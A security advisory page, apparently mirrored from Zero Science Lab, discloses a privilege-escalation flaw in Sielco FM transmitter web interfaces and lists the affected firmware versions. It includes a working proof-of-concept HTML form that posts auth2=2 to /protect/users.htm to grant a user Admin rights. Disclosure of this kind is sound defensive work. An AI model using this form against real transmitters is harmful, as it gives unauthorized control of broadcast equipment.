Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation

🗓️ 28 Mar 2023 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 233 Views

Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation vulnerability in Sielco transmitters

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2023-41966	26 Oct 202320:15	–	circl
CNNVD	Sielco Analog FM Transmitters Security Vulnerability	26 Oct 202300:00	–	cnnvd
CVE	CVE-2023-41966	26 Oct 202316:21	–	cve
Cvelist	CVE-2023-41966 Sielco Radio Link and Analog FM Transmitters Privilege Defined With Unsafe Actions	26 Oct 202316:21	–	cvelist
EUVD	EUVD-2023-46425	3 Oct 202520:07	–	euvd
NVD	CVE-2023-41966	26 Oct 202317:15	–	nvd
Prion	Privilege escalation	26 Oct 202317:15	–	prion
Positive Technologies	PT-2023-28196 · Sielco · Analog Fm Transmitter +12	26 Oct 202300:00	–	ptsecurity
Vulnrichment	CVE-2023-41966 Sielco Radio Link and Analog FM Transmitters Privilege Defined With Unsafe Actions	26 Oct 202316:21	–	vulnrichment
Zero Science Lab	Sielco Radio Link 2.06 Remote Privilege Escalation	30 Mar 202300:00	–	zeroscience

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Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation


Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.12 (EXC5000GX)
                  2.12 (EXC120GX)
                  2.11 (EXC300GX)
                  2.10 (EXC1600GX)
                  2.10 (EXC2000GX)
                  2.08 (EXC1600GX)
                  2.08 (EXC1000GX)
                  2.07 (EXC3000GX)
                  2.06 (EXC5000GX)
                  1.7.7 (EXC30GT)
                  1.7.4 (EXC300GT)
                  1.7.4 (EXC100GT)
                  1.7.4 (EXC5000GT)
                  1.6.3 (EXC1000GT)
                  1.5.4 (EXC120GT)

Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.

Desc: The application suffers from a privilege escalation vulnerability.
A user with Read permissions can elevate his/her privileges by sending
a HTTP POST request setting the parameter 'auth1' or 'auth2' or 'auth3'
to integer value '1' for Write or '2' for Admin permissions.

Tested on: lwIP/2.1.1
           Web/3.0.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5755
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5755.php


26.01.2023

--><html>
<body>
<form action="http://transmitter/protect/users.htm" method="POST">
<input name="pwd0" type="hidden" value=""/>
<input name="pwd0bis" type="hidden" value=""/>
<input name="user1" type="hidden" value=""/>
<input name="pwd1" type="hidden" value=""/>
<input name="pwd1bis" type="hidden" value=""/>
<input name="auth1" type="hidden" value=""/>
<input name="user2" type="hidden" value="test"/>
<input name="pwd2" type="hidden" value=""/>
<input name="pwd2bis" type="hidden" value=""/>
<input name="auth2" type="hidden" value="2"/>
<input name="user3" type="hidden" value=""/>
<input name="pwd3" type="hidden" value=""/>
<input name="pwd3bis" type="hidden" value=""/>
<input name="auth3" type="hidden" value=""/>
<input type="submit" value="Escalate"/>
</form>
</body>
</html>

28 Mar 2023 00:00Current

7.3High risk

Vulners AI Score7.3

CVSS 3.16.5 - 8.8

EPSS0.00057

SSVC